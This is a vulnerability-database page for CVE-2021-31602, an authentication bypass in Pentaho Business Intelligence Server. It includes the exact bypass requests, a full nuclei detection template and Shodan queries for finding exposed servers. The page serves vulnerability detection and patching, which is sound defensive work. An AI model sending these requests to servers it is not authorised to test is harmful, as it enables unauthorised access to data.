HexBrain

Browse / CVEs / CVE-2021-31602

CVE-2021-31602· hitachi / vantara pentaho· CWE-287

Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass

highseverity
7.5CVSS score
51.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x are vulnerable to authentication bypass. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the server.

Fix

Apply the latest security patches or updates provided by Hitachi Vantara to fix the authentication bypass vulnerability.

How to confirm it

Send: GET {{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js ; GET {{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js
Positive when: contains "<roleList>" and "<roles>Anonymous</roles>" AND status 200

Run it with nuclei: nuclei -id CVE-2021-31602 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-31602

info:
  name: Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass
  author: pussycat0x
  severity: high
  description: Hitachi Vantara Pentaho through 9.1 and Pentaho Business Intelligence Server through 7.x are vulnerable to authentication bypass. The Security Model has different layers of Access Control. One of these layers is the applicationContext security, which is defined in the applicationContext-spring-security.xml file. The default configuration allows an unauthenticated user with no previous knowledge of the platform settings to extract pieces of information without possessing valid credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the server.
  remediation: |
    Apply the latest security patches or updates provided by Hitachi Vantara to fix the authentication bypass vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Nov/13
    - https://portswigger.net/daily-swig/remote-code-execution-sql-injection-bugs-uncovered-in-pentaho-business-analytics-software
    - https://hawsec.com/publications/pentaho/HVPENT210401-Pentaho-BA-Security-Assessment-Report-v1_1.pdf
    - https://www.hitachi.com/hirt/security/index.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31602
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-31602
    cwe-id: CWE-287
    epss-score: 0.51653
    epss-percentile: 0.98955
    cpe: cpe:2.3:a:hitachi:vantara_pentaho:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hitachi
    product: vantara_pentaho
    shodan-query:
      - Pentaho
      - pentaho
  tags: cve2021,cve,spring,seclists,pentaho,auth-bypass,hitachi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pentaho/api/userrolelist/systemRoles?require-cfg.js"
      - "{{BaseURL}}/api/userrolelist/systemRoles?require-cfg.js"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<roleList>'
          - '<roles>Anonymous</roles>'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from